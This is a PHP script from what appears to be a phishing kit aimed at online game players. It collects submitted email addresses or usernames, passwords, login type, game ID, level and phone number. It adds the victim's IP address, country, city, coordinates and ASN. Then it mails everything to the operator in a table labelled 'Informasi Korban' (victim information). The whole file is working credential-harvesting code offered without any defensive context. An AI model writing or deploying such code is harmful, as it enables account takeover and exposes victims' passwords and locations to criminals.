<?php
if(isset($_POST['email']) || isset($_POST['password'])){

$email = $_POST['email'];
$password = $_POST['password'];

$login = $_POST['login'];
$userID = $_POST['userid'];
$nickname = $_POST['nickname'];

$level = $_POST['level'];
$phone = $_POST['phone'];

include "email.php";
include "pahox/setting.php";

$subject = "$flag | $callcode | FFLEVEL ".$level." | ID ".$userID." ]";
$message = '
<center> 
<div style="background: #000000; width: 294; color: #fff; text-align: center; padding: 10px;"></div>
<div style="background: #000; width: 294; color: #fff; text-align: left; padding: 10px;">Informasi Korban</div>
<table style="border-collapse: collapse; border-color: #000; background: #fff" width="100%" border="1">
<tr>
<th style="width: 22%; text-align: left;" height="25px"><b>IP Address</th>
<th style="width: 78%; text-align: center;"><b>'.$ip_address.'</th> 
</tr>
<tr>
<th style="width: 22%; text-align: left;" height="25px"><b>Country</th>
<th style="width: 78%; text-align: center;"><b>'.$negara.' '.$flag.'</th> 
</tr>
</table>
<div style="background: #000; width: 294; color: #fff; text-align: left; padding: 10px;">Informasi Akun</div>
<table style="border-collapse: collapse; border-color: #000; background: #fff" width="100%" border="1">
<tr>
<th style="width: 22%; text-align: left;" height="25px"><b>Email/No Telp/Username</th>
<th style="width: 78%; text-align: center;"><b>'.$email.'</th> 
</tr>
<tr>
<th style="width: 22%; text-align: left;" height="25px"><b>Password</th>
<th style="width: 78%; text-align: center;"><b>'.$password.'</th> 
</tr>
<tr>
<th style="width: 22%; text-align: left;" height="25px"><b>Login</th>
<th style="width: 78%; text-align: center;"><b>'.$login.'</th> 
</tr>
</table>
<div style="background: #000; width: 294; color: #fff; text-align: left; padding: 10px;">Informasi Akun Game</div>
<table style="border-collapse: collapse; border-color: #000; background: #fff" width="100%" border="1">
<tr>
<th style="width: 22%; text-align: left;" height="25px"><b>ID&NICK</th>
<th style="width: 78%; text-align: center;"><b>'.$userID.'</th> 
</tr>
<tr>
<th style="width: 22%; text-align: left;" height="25px"><b>Level</th>
<th style="width: 78%; text-align: center;"><b>'.$level.'</th> 
</tr>
<tr>
<th style="width: 22%; text-align: left;" height="25px"><b>Phone Number</th>
<th style="width: 78%; text-align: center;"><b>'.$phone.'</th> 
</tr>
</table>
<div style="background: #000; width: 294; color: #fff; text-align: left; padding: 10px;">Informasi Tambahan</div>
<table style="border-collapse: collapse; border-color: #000; background: #fff" width="100%" border="1">
<tr>
<th style="width: 22%; text-align: left;" height="25px"><b>Country</th>
<th style="width: 78%; text-align: center;"><b>'.$negara.'</th> 
</tr>
<tr>
<th style="width: 22%; text-align: left;" height="25px"><b>Region</th>
<th style="width: 78%; text-align: center;"><b>'.$region.'</th>
</tr>
<tr>
<th style="width: 22%; text-align: left;" height="25px"><b>City</th>
<th style="width: 78%; text-align: center;"><b>'.$city.'</th> 
</tr>
<tr>
<th style="width: 22%; text-align: left;" height="25px"><b>Latitude</th>
<th style="width: 78%; text-align: center;"><b>'.$lat.'</th> 
</tr>
<tr>
<th style="width: 22%; text-align: left;" height="25px"><b>Longitude</th>
<th style="width: 78%; text-align: center;"><b>'.$lon.'</th> 
</tr>
<tr>
<th style="width: 22%; text-align: left;" height="25px"><b>Asn</th>
<th style="width: 78%; text-align: center;"><b>'.$asn.'</th>
</tr>
</table>
<div style="width: 294; height: 40px; background: #000; color: #fff; padding: 10px; border-bottom-left-radius: 5px; border-bottom-right-radius: 5px; text-align: center;">
<div style="float: left; margin-top: 3%;">
Temukan saya: arya.co.id
</div>
</div>
</center>
';
$headersx  = 'MIME-Version: 1.0' . "\r\n";
$headersx .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headersx .= 'From: '.$sender.' <aryathiqo'.$playid.'.web.id>';
$gcodeSend = mail($myEmail, $subject, $message, $headersx);

}